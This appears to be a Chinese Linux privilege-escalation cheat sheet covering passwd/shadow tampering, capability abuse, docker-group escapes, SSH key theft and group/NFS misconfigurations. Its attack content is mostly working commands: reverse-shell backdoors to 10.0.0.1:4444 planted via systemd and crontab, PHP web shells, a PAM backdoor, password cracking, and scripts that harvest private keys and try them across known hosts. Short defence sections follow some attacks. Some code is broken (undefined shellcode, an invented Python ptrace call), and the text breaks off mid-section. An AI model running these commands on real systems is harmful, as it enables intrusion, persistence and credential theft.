echo "hacker:$(perl -le 'print crypt("password","salt")'):0:0:hacker:/root:/bin/bash" >> /etc/passwd

# 切换到新用户
su - hacker
password: password

# 验证权限
id
whoami

修改现有用户 UID

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查看当前用户信息
grep $USER /etc/passwd

# 备份
cp /etc/passwd /tmp/passwd.bak

# 修改当前用户 UID 为 0
sed -i "s/^$USER:[^:]*:[0-9]*/$USER::0:0/" /etc/passwd

# 重新登录或刷新
exec bash
id
# 现在应该显示 uid=0(root)

利用 SUID 编辑器修改

1
2
3
4
5
6
7
8
9
10
# 场景: vim/nano 有 SUID
sudo vim /etc/passwd
# 或
vim /etc/passwd
# 添加用户
hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash

# 或在 vim 中
:%s/$USER:\([^:]*\):[0-9]*/$USER:\1:0:0/
:wq

利用通配符注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 场景: Cron 任务使用通配符处理 /etc/passwd
* * * * * root tar -czf /backup/passwd.tar /etc/passwd

# 检查 cron
cat /etc/crontab
grep passwd /etc/cron*

# 如果有备份任务,劫持备份过程
cd /etc
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh /tmp/evil.sh"

cat > /tmp/evil.sh <<'EOF'
#!/bin/bash
echo "hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash" >> /etc/passwd
EOF
chmod +x /tmp/evil.sh

# 等待 cron 执行

/etc/shadow 可写(高危)

1
2
3
4
5
6
7
8
9
10
11
12
# 检查 shadow 权限
ls -la /etc/shadow
# -rw-r----- 1 root shadow 1234 /etc/shadow

# 如果可写(罕见)
echo "root:$(openssl passwd -1 newpass):18000:0:99999:7:::" > /etc/shadow
su - root
# 使用新密码 newpass

# 或添加用户
echo "hacker:$(openssl passwd -1 password):18000:0:99999:7:::" >> /etc/shadow
su - hacker

利用脚本处理漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
# 场景: 脚本读取并处理 /etc/passwd
while read line; do
# 处理每一行
done < /etc/passwd

# 如果脚本可写或可劫持输入
cat > /tmp/malicious_passwd <<'EOF'
root:x:0:0:root:/root:/bin/bash
hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash
EOF

# 如果脚本可以从文件读取
./process_script.sh < /tmp/malicious_passwd

符号链接劫持

1
2
3
4
5
6
7
8
9
10
11
12
# 场景: 程序创建临时文件,然后移动到 /etc/passwd
# 1. 预创建恶意文件
cat > /tmp/new_passwd <<'EOF'
root:x:0:0:root:/root:/bin/bash
hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash
EOF

# 2. 创建符号链接
ln -sf /tmp/new_passwd /tmp/temp_passwd

# 3. 当程序 mv /tmp/temp_passwd /etc/passwd 时
# /etc/passwd 被替换为恶意内容

利用备份还原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查找备份文件
find / -name "*passwd*" -type f 2>/dev/null
find / -name "*backup*" -type f 2>/dev/null
ls -la /var/backups/
ls -la /backup/
ls -la /tmp/*.bak

# 如果发现可写备份
cat > /tmp/malicious_backup <<'EOF'
root:x:0:0:root:/root:/bin/bash
hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash
EOF

# 如果备份脚本可写或可劫持
echo "/tmp/malicious_backup" > /backup/passwd
# 等待还原操作

检测方法(防御)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 监控 /etc/passwd 变化
inotifywait -m -e modify /etc/passwd

# 定期检查异常用户
awk -F: '$3 == 0 {print $1}' /etc/passwd
awk -F: '$3 < 1000 {print $1, $3}' /etc/passwd

# 检查文件完整性
md5sum /etc/passwd
sha256sum /etc/passwd

# 使用 AIDE/Tripwire
aide --init
aide --check

安全加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 设置正确权限
chmod 644 /etc/passwd
chown root:root /etc/passwd

chmod 640 /etc/shadow
chown root:shadow /etc/shadow

# 限制可写用户
chmod 644 /etc/passwd
# 或
chmod 444 /etc/passwd

# 使用文件属性
chattr +i /etc/passwd
chattr +i /etc/shadow

# 查看属性
lsattr /etc/passwd
lsattr /etc/shadow

Capabilities 提权

Linux Capabilities(能力机制)将 root 权限细分为多个独立的”能力”,允许程序只获得必要的权限而非完整 root 权限。但如果程序被赋予了不当的能力(如 CAP_SETUIDCAP_SYS_ADMIN 等),攻击者可以利用这些能力提权。

能力 描述 危险度
CAP_SETUID 设置进程 UID 极高
CAP_SETGID 设置进程 GID
CAP_SYS_ADMIN 系统管理操作 极高
CAP_SYS_PTRACE 跟踪任意进程
CAP_SYS_MODULE 加载内核模块 极高
CAP_NET_RAW 使用原始套接字
CAP_NET_BIND_SERVICE 绑定特权端口
CAP_DAC_OVERRIDE 绕过文件权限检查
CAP_DAC_READ_SEARCH 读取任意文件

查找能力文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查找所有带能力的文件
getcap -r / 2>/dev/null

# 指定目录查找
getcap -r /usr/bin 2>/dev/null
getcap -r /home 2>/dev/null

# 显示特定文件能力
getcap /path/to/file

# 使用 find 查找
find / -type f -exec getcap {} \; 2>/dev/null

# 完整查找(包括错误输出)
getcap -r / 2>&1 | grep -v "Operation not permitted"

攻击手法

CAP_SETUID 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 场景: 某程序有 CAP_SETUID+ep 能力
getcap /home/user/vulnerable
# /home/user/vulnerable = cap_setuid+ep

# 方法1: 利用程序直接提权
/home/user/vulnerable

# 方法2: 编写简单的 C 程序利用 CAP_SETUID
cat > /tmp/cap_setuid.c <<'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
EOF

# 编译并设置能力
gcc -o /tmp/exploit /tmp/cap_setuid.c
sudo setcap cap_setuid+ep /tmp/exploit

# 执行(如果该程序有 CAP_SETUID)
/tmp/exploit

CAP_SETGID 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 场景: 程序有 CAP_SETGID 能力
cat > /tmp/cap_setgid.c <<'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
EOF

gcc -o /tmp/exploit /tmp/cap_setgid.c
sudo setcap cap_setgid+ep /tmp/exploit
/tmp/exploit

CAP_SYS_ADMIN 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 场景: 程序有 CAP_SYS_ADMIN 能力
# CAP_SYS_ADMIN 允许几乎所有的系统管理操作

# 方法1: 挂载文件系统
mkdir -p /tmp/mountpoint
/home/user/vulnerable # 假设可以调用 mount
mount /dev/sda1 /tmp/mountpoint
cat /tmp/mountpoint/etc/shadow

# 方法2: 修改 namespace
unshare -m /bin/bash
mount --bind /etc/shadow /tmp/shadow

# 方法3: 编写利用程序
cat > /tmp/cap_sys_admin.c <<'EOF'
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mount.h>

int main() {
if (unshare(CLONE_NEWNS) == -1) {
perror("unshare");
return 1;
}
if (mount("/etc/shadow", "/tmp/shadow", "", MS_BIND, "") == -1) {
perror("mount");
return 1;
}
system("cat /tmp/shadow");
return 0;
}
EOF

gcc -o /tmp/exploit /tmp/cap_sys_admin.c
sudo setcap cap_sys_admin+ep /tmp/exploit
/tmp/exploit

CAP_SYS_PTRACE 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 场景: 程序有 CAP_SYS_PTRACE 能力
# 可以跟踪和修改任意进程

# 方法1: Ptrace 注入
cat > /tmp/ptrace_inject.c <<'EOF'
#include <stdio.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/user.h>

int main(int argc, char *argv[]) {
pid_t pid = atoi(argv[1]);
struct user_regs_struct regs;

ptrace(PTRACE_ATTACH, pid, NULL, NULL);
wait(NULL);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);

// 修改寄存器以执行系统调用
regs.rip = (unsigned long)&shellcode;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_CONT, pid, NULL, NULL);

return 0;
}
EOF

gcc -o /tmp/ptrace_inject /tmp/ptrace_inject.c
/tmp/ptrace_inject <target_pid>

# 方法2: Python ptrace
python3 -c "
import ptrace
import ctypes

# 注入 shellcode 到 root 进程
shellcode = bytes.fromhex('...')
ptrace.inject_shellcode(target_pid, shellcode)
"

CAP_DAC_OVERRIDE 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 场景: 程序有 CAP_DAC_OVERRIDE 能力
# 可以绕过文件权限检查

# 方法1: 直接读取敏感文件
/home/user/vulnerable /etc/shadow

# 方法2: 编写利用程序
cat > /tmp/cap_dac.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
FILE *f = fopen(argv[1], "r");
if (!f) {
perror("fopen");
return 1;
}

char line[256];
while (fgets(line, sizeof(line), f)) {
printf("%s", line);
}
fclose(f);
return 0;
}
EOF

gcc -o /tmp/reader /tmp/cap_dac.c
sudo setcap cap_dac_override+ep /tmp/reader
/tmp/reader /etc/shadow

CAP_DAC_READ_SEARCH 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 场景: 程序有 CAP_DAC_READ_SEARCH 能力
# 可以读取任意文件

cat > /tmp/reader.c <<'EOF'
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}

char buf[4096];
ssize_t n;
while ((n = read(fd, buf, sizeof(buf))) > 0) {
write(STDOUT_FILENO, buf, n);
}
close(fd);
return 0;
}
EOF

gcc -o /tmp/reader /tmp/reader.c
sudo setcap cap_dac_read_search+ep /tmp/reader
/tmp/reader /etc/shadow

CAP_NET_RAW 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 场景: 程序有 CAP_NET_RAW 能力
# 可以使用原始套接字进行网络攻击

cat > /tmp/raw_sock.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

int main() {
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
perror("socket");
return 1;
}

printf("Raw socket created with CAP_NET_RAW\n");

// 可以进行 ARP 欺骗、数据包嗅探等
// 例如:监听网络流量

close(sock);
return 0;
}
EOF

gcc -o /tmp/raw_sock /tmp/raw_sock.c
sudo setcap cap_net_raw+ep /tmp/raw_sock
./tmp/raw_sock

Python 能力利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 使用 Python 的 capability 模块
python3 <<'EOF'
import ctypes

# 加载 libc
libc = ctypes.CDLL("libc.so.6")

# 调用 setuid/setgid
libc.setuid(0)
libc.setgid(0)

# 执行 shell
ctypes.CDLL("libc.so.6").system("/bin/bash")
EOF

组合能力利用

1
2
3
4
5
6
7
8
# 多个能力组合
CAP_SETUID + CAP_SETGID → 完整提权
CAP_SYS_ADMIN + CAP_NET_ADMIN → 网络控制
CAP_DAC_OVERRIDE + CAP_DAC_READ_SEARCH → 完全文件访问

# 检查程序的所有能力
getcap -v /path/to/file
getcap --all -r / 2>/dev/null

防御措施

1
2
3
4
5
6
7
8
9
10
11
12
# 查看所有能力文件
getcap -r / 2>/dev/null

# 移除不必要的能力
sudo setcap -r /path/to/file

# 限制特定能力
sudo setcap cap_net_bind_service+ep /path/to/file
# 只保留绑定位端口的能力

# 定期审计
find / -type f -exec getcap {} \; 2>/dev/null | grep -E "cap_setuid|cap_sys_admin"

Docker 组提权

如果普通用户属于 docker 组,则无需 sudo 即可运行 Docker 容器。Docker 容器默认拥有与宿主机共享的文件系统访问权限,攻击者可以通过挂载宿主机根目录或利用 Docker 特权容器实现逃逸,获得宿主机 root 权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 检查是否在 docker 组
groups
id

# 检查 docker 组成员
getent group docker
cat /etc/group | grep docker

# 检查 Docker 是否安装
docker --version
which docker

# 检查是否有运行权限
docker ps
docker images

# 检查当前用户权限
id -Gn

攻击手法

方法1: 挂载根目录

1
2
3
4
5
6
7
8
9
10
11
12
# 基础提权 - 挂载宿主机根目录到容器
docker run -it -v /:/mnt ubuntu chroot /mnt /bin/bash

# 获取 root shell
docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash

# 在容器中执行命令
docker run -it -v /:/mnt alpine /bin/sh
# 在容器内:
cd /mnt
ls -la /etc/shadow
cat /etc/shadow

方法2: 复制 SUID 文件

1
2
3
4
# 复制 SUID 文件到容器外
docker run -v /tmp:/mnt ubuntu cp /bin/bash /mnt/rootbash
chmod 4755 /tmp/rootbash
/tmp/rootbash -p

方法3: 修改文件权限

1
2
3
4
5
# 修改宿主机文件权限
docker run -it -v /:/host ubuntu chroot /host /bin/bash
# 在容器内:
chmod 777 /etc/shadow
# 然后退出容器,直接修改 shadow 文件

方法4: 写入 SSH 公钥

1
2
3
4
5
6
7
8
# 生成或使用已有公钥
cat ~/.ssh/id_rsa.pub

# 写入到宿主机 root 用户
docker run -it -v /:/host ubuntu /bin/bash -c "mkdir -p /host/root/.ssh && echo 'ssh-rsa AAAA...' > /host/root/.ssh/authorized_keys"

# SSH 登录
ssh root@localhost

方法5: 添加 sudo 用户

1
2
3
4
5
6
7
8
9
10
11
12
13
# 在容器内修改 sudoers
docker run -it -v /:/host ubuntu chroot /host /bin/bash
# 在容器内:
echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# 或添加用户
useradd -m -s /bin/bash hacker
echo "hacker:password" | chpasswd
echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# 退出容器,切换用户
su - hacker
sudo su -

方法6: 创建 systemd service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 创建持久化后门
docker run -it -v /:/host ubuntu /bin/bash -c "cat > /host/etc/systemd/system/backdoor.service <<'EOF'
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Restart=always

[Install]
WantedBy=multi-user.target
EOF"

# 启动服务(需要重启或手动启用)
docker run -it -v /:/host ubuntu chroot /host /bin/bash -c "systemctl enable backdoor.service"
docker run -it -v /:/host ubuntu chroot /host /bin/bash -c "systemctl start backdoor.service"

方法7: 添加 crontab 任务

1
2
3
4
5
# 添加定时任务
docker run -it -v /:/host ubuntu /bin/bash -c "echo '* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /host/etc/crontab"

# 或修改用户 crontab
docker run -it -v /:/host ubuntu chroot /host /bin/bash -c "su - hacker -c 'echo \"* * * * * /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\" | crontab -'"

方法8: Docker Socket 挂载

1
2
3
4
5
6
# 如果 Docker socket 被挂载到容器(常见错误配置)
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash

# 在容器内可以直接控制宿主机 Docker
docker ps
docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash

方法9: 特权容器逃逸

1
2
3
4
5
6
7
8
9
# 运行特权容器
docker run --privileged -it ubuntu /bin/bash

# 挂载设备
mount -t debugfs /sys/kernel/debug /sys/kernel/debug

# 访问宿主机文件系统
cd /host
# 或直接逃逸

方法10: 使用现有容器

1
2
3
4
5
6
7
8
9
# 列出所有容器
docker ps -a

# 在现有容器中执行命令
docker exec -it <container_id> /bin/bash

# 复制文件
docker cp /tmp/evil.sh <container_id>:/tmp/
docker exec <container_id> sh /tmp/evil.sh

组合攻击 - 一键脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
cat > /tmp/docker_privesc.sh <<'EOF'
#!/bin/bash

echo "[*] Checking docker access..."
docker ps > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo "[+] Docker access confirmed!"
else
echo "[-] No docker access"
exit 1
fi

echo "[*] Method 1: Mount host root directory"
docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash -c "whoami"

echo "[*] Method 2: Create SUID bash"
docker run -it --rm -v /tmp:/mnt ubuntu /bin/bash -c "cp /bin/bash /mnt/rootbash && chmod 4755 /mnt/rootbash"

if [ -x /tmp/rootbash ]; then
echo "[+] SUID bash created at /tmp/rootbash"
/tmp/rootbash -p
else
echo "[-] Failed to create SUID bash"
fi

echo "[*] Method 3: Write SSH key"
if [ -f ~/.ssh/id_rsa.pub ]; then
PUB_KEY=$(cat ~/.ssh/id_rsa.pub)
docker run -it --rm -v /:/host ubuntu /bin/bash -c "mkdir -p /host/root/.ssh && echo '$PUB_KEY' >> /host/root/.ssh/authorized_keys"
echo "[+] SSH key added to authorized_keys"
fi

echo "[*] Done!"
EOF

chmod +x /tmp/docker_privesc.sh
/tmp/docker_privesc.sh

检测与防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 检测 - 查找 docker 组成员
getent group docker
grep -E "^docker:" /etc/group

# 检测 - 检查 Docker 运行日志
journalctl -u docker

# 检测 - 查找挂载点
docker ps --format "{{.ID}} {{.Mounts}}"

# 防御 - 移除用户组
sudo usermod -G "" username
# 或从 docker 组移除特定用户
sudo deluser username docker

# 防御 - 限制 Docker socket 权限
sudo chmod 660 /var/run/docker.sock

# 防御 - 启用 Docker 用户命名空间
# 编辑 /etc/docker/daemon.json
{
"userns-remap": "default"
}

# 防御 - 使用 AppArmor/SELinux 配置

SSH 密钥与登录提权

SSH(Secure Shell)密钥认证允许用户无需密码即可登录系统。如果私钥泄露、配置不当或权限设置错误,攻击者可以利用 SSH 密钥获得未授权访问,进而提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 检查 SSH 配置
cat /etc/ssh/sshd_config
ls -la /etc/ssh/

# 检查用户 SSH 目录
ls -la ~/.ssh/ 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null

# 查找所有 SSH 密钥
find / -name "id_rsa*" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null

# 检查 authorized_keys
cat ~/.ssh/authorized_keys 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null

# 检查 SSH 进程
ps aux | grep sshd
netstat -tlnp | grep :22

# 检查登录日志
last
lastb
who
w

攻击手法

读取私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查找并读取私钥
find / -name "id_rsa" -type f -exec cat {} \; 2>/dev/null
find / -name "*.pem" -type f -exec cat {} \; 2>/dev/null

# 常见位置
cat ~/.ssh/id_rsa
cat /home/user/.ssh/id_rsa
cat /root/.ssh/id_rsa
cat /etc/ssh/ssh_host_rsa_key

# 检查私钥格式
head -5 ~/.ssh/id_rsa
# 应该以 "-----BEGIN RSA PRIVATE KEY-----" 开头

利用私钥登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 使用私钥登录其他机器
ssh -i id_rsa user@target_ip
ssh -i /path/to/id_rsa root@192.168.1.100

# 指定端口
ssh -i id_rsa -p 2222 user@target_ip

# 保存私钥文件
cat > /tmp/id_rsa <<'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----
EOF
chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa root@target

添加授权密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 生成或读取公钥
cat ~/.ssh/id_rsa.pub

# 如果没有公钥,从私钥生成
ssh-keygen -y -f ~/.ssh/id_rsa > /tmp/id_rsa.pub

# 添加到 authorized_keys
cat /tmp/id_rsa.pub >> ~/.ssh/authorized_keys
cat /tmp/id_rsa.pub >> /home/user/.ssh/authorized_keys

# 如果文件不存在
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-rsa AAAA..." > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# 添加到 root 用户
cat /tmp/id_rsa.pub >> /root/.ssh/authorized_keys
# 然后可以 SSH 到 root
ssh root@localhost

修改 SSH 配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 编辑 sshd_config(如果可写)
cat >> /etc/ssh/sshd_config <<'EOF'
PermitRootLogin yes
PasswordAuthentication yes
PubkeyAuthentication yes
EOF

# 重启 SSH 服务
systemctl restart sshd
# 或
service ssh restart

# 或直接通过 sed 修改
sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config

SSH 配置劫持

1
2
3
4
5
6
7
8
9
10
11
12
# 修改用户 .ssh/config
cat > ~/.ssh/config <<'EOF'
Host target
HostName 192.168.1.100
User root
IdentityFile ~/.ssh/id_rsa
UserKnownHostsFile /dev/null
StrictHostKeyChecking no
EOF

# 然后直接连接
ssh target

SSH Forward 隧道

1
2
3
4
5
6
7
8
9
10
11
12
# 本地端口转发
ssh -L 8080:localhost:22 -N user@remote

# 远程端口转发
ssh -R 8080:localhost:22 -N user@remote

# 动态端口转发(SOCKS 代理)
ssh -D 1080 user@remote

# 组合攻击
ssh -i id_rsa -L 3306:localhost:3306 -N root@target
# 然后连接本地 3306 实际连接到目标的 MySQL

利用 known_hosts

1
2
3
4
5
6
7
8
9
# 读取已知主机
cat ~/.ssh/known_hosts

# 可以知道目标机器列表
while read line; do
host=$(echo $line | awk '{print $1}')
echo "Attempting: $host"
ssh -o ConnectTimeout=2 -o StrictHostKeyChecking=no root@$host "whoami"
done < ~/.ssh/known_hosts

SSH Agent 转发攻击

1
2
3
4
5
6
7
8
# 检查 SSH agent
ps aux | grep ssh-agent
ls -la /tmp/ssh-*

# 如果可以访问 agent socket
export SSH_AUTH_SOCK=/tmp/ssh-XXX/agent.XXX
ssh-add -l # 查看已加载密钥
ssh root@target # 直接使用 agent 中的密钥

暴力破解 SSH

1
2
3
4
5
6
7
8
9
10
# 使用 hydra
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target_ip

# 使用 metasploit
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS target_ip
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

SSH 后门

1
2
3
4
5
6
7
8
9
10
# 修改 SSH 二进制文件(需要 root)
# 或添加隐藏用户
useradd -m -s /bin/bash admin
echo "admin:password" | chpasswd

# 添加到 sudoers
echo "admin ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# 或修改 PAM 模块
echo "auth sufficient pam_rootok.so" >> /etc/pam.d/common-auth

组合攻击 - 自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
cat > /tmp/ssh_privesc.sh <<'EOF'
#!/bin/bash

echo "[*] Collecting SSH keys..."
mkdir -p /tmp/ssh_keys

find / -name "id_rsa" -type f -exec cp {} /tmp/ssh_keys/ \; 2>/dev/null
find / -name "*.pem" -type f -exec cp {} /tmp/ssh_keys/ \; 2>/dev/null

echo "[*] Found keys:"
ls -la /tmp/ssh_keys/

# 尝试生成公钥
for key in /tmp/ssh_keys/*; do
if [ -f "$key" ]; then
echo "[*] Extracting public key from $key"
ssh-keygen -y -f "$key" > "${key}.pub" 2>/dev/null
fi
done

# 尝试添加到 authorized_keys
echo "[*] Adding to authorized_keys..."
mkdir -p ~/.ssh 2>/dev/null
cat /tmp/ssh_keys/*.pub >> ~/.ssh/authorized_keys 2>/dev/null
chmod 600 ~/.ssh/authorized_keys 2>/dev/null

# 尝试添加到 root
if [ -w /root/.ssh/authorized_keys ]; then
cat /tmp/ssh_keys/*.pub >> /root/.ssh/authorized_keys
fi

# 从 known_hosts 提取目标
if [ -f ~/.ssh/known_hosts ]; then
echo "[*] Testing connections from known_hosts..."
while read line; do
host=$(echo $line | awk '{print $1}')
echo "[*] Testing: $host"
timeout 3 ssh -o ConnectTimeout=2 -o StrictHostKeyChecking=no root@$host "echo '[+] Success on $host'; id" &
done < ~/.ssh/known_hosts
wait
fi

echo "[*] Done! Check /tmp/ssh_keys/ for collected keys"
EOF

chmod +x /tmp/ssh_privesc.sh
/tmp/ssh_privesc.sh

防御措施

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 正确设置权限
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 600 ~/.ssh/authorized_keys

# 禁止 root 登录
echo "PermitRootLogin no" >> /etc/ssh/sshd_config

# 禁用密码认证
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config

# 限制允许的用户
echo "AllowUsers user1 user2" >> /etc/ssh/sshd_config
echo "AllowGroups sshusers" >> /etc/ssh/sshd_config

# 启用密钥检查
echo "StrictModes yes" >> /etc/ssh/sshd_config

# 使用 fail2ban
apt install fail2ban
systemctl enable fail2ban
systemctl start fail2ban

组权限与文件共享提权

Linux 系统使用组来管理用户权限。如果用户被分配到高权限组(如 wheeladminsudo),或者敏感文件/目录设置了不当的组权限,攻击者可以利用组权限进行提权。

用途 危险度
root root 组成员 极高
wheel 可使用 sudo
sudo 可使用 sudo
admin 管理员组
shadow 可读取 shadow 极高
adm 可读取日志文件
staff 系统管理
docker Docker 访问

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 查看当前用户组
groups
id
id -Gn

# 查看所有组
getent group
cat /etc/group

# 查找特定组成员
getent group sudo
getent group wheel
getent group docker

# 查看文件组权限
ls -la /etc/passwd /etc/shadow
ls -la /var/log/
ls -la /var/www/

# 查找高权限文件
find / -type f -perm -g+w 2>/dev/null
find / -type f -perm -o+w 2>/dev/null

攻击手法

wheel/sudo 组提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 检查是否在 sudo/wheel 组
groups | grep -E "sudo|wheel"
id | grep -E "sudo|wheel"

# 如果在 sudo 组
sudo su -
sudo bash
sudo -i

# 查看 sudoers 配置
sudo -l

# 可能直接获得 root
sudo /bin/bash
sudo -u root /bin/bash

shadow 组提权

1
2
3
4
5
6
7
8
9
10
11
12
13
# 检查是否在 shadow 组
groups | grep shadow

# 如果可以读取 shadow
cat /etc/shadow

# 暴力破解密码
john /etc/shadow
unshadow /etc/passwd /etc/shadow > passwords.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

# 或使用 hashcat
hashcat -m 1800 -a 0 /etc/shadow /usr/share/wordlists/rockyou.txt

adm 组(日志读取)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 检查 adm 组成员
groups | grep adm

# 读取日志查找敏感信息
grep -i "password\|pass\|secret" /var/log/auth.log
grep -i "password\|pass\|secret" /var/log/syslog
journalctl -n 100 | grep -i "password"

# 查找命令历史
grep -i "sudo\|su" /var/log/auth.log

# 读取其他用户进程日志
journalctl --user
journalctl _UID=1000

staff 组(系统文件)

1
2
3
4
5
6
7
8
9
10
# 检查 staff 组成员
groups | grep staff

# 查找 staff 组可写文件
find / -type f -group staff -perm -g+w 2>/dev/null
find /usr/local -type f -perm -g+w 2>/dev/null

# 修改系统文件
ls -la /usr/local/bin/
echo "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash" >> /usr/local/bin/cleanup.sh

组可写目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 查找组可写目录
find / -type d -perm -g+w 2>/dev/null

# 常见位置
ls -la /var/www/uploads/
ls -la /tmp/
ls -la /var/tmp/

# 如果 /var/www/ 可写
echo "<?php system(\$_GET['cmd']); ?>" > /var/www/shell.php
# 访问 http://target/shell.php?cmd=whoami

# 或写入 webshell
cat > /var/www/shell.php <<'EOF'
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
EOF

组可执行文件

1
2
3
4
5
6
7
8
9
# 查找组可执行 SUID/SGID 文件
find / -type f -perm -g+s 2>/dev/null

# 查看特定文件
ls -la /usr/bin/passwd
ls -la /usr/bin/sudo

# SGID 文件执行时会继承文件组权限
./sgid_program

NFS 共享提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检查 NFS 共享
showmount -e localhost
showmount -e target_ip

# 挂载 NFS
mkdir /tmp/nfs
mount -t nfs target_ip:/export /tmp/nfs

# 检查权限
ls -la /tmp/nfs

# 如果 no_root_squash 未设置,root 权限保留
# 可以创建 SUID 文件
cp /bin/bash /tmp/nfs/rootbash
chmod 4755 /tmp/nfs/rootbash
# 在目标上执行 /nfs/rootbash -p

共享内存/命名管道

1
2
3
4
5
6
7
8
# 检查共享内存
ipcs -m

# 检查命名管道
find / -type p 2>/dev/null

# 如果可以写入命名管道
echo "malicious command" > /tmp/pipe

组权限劫持脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
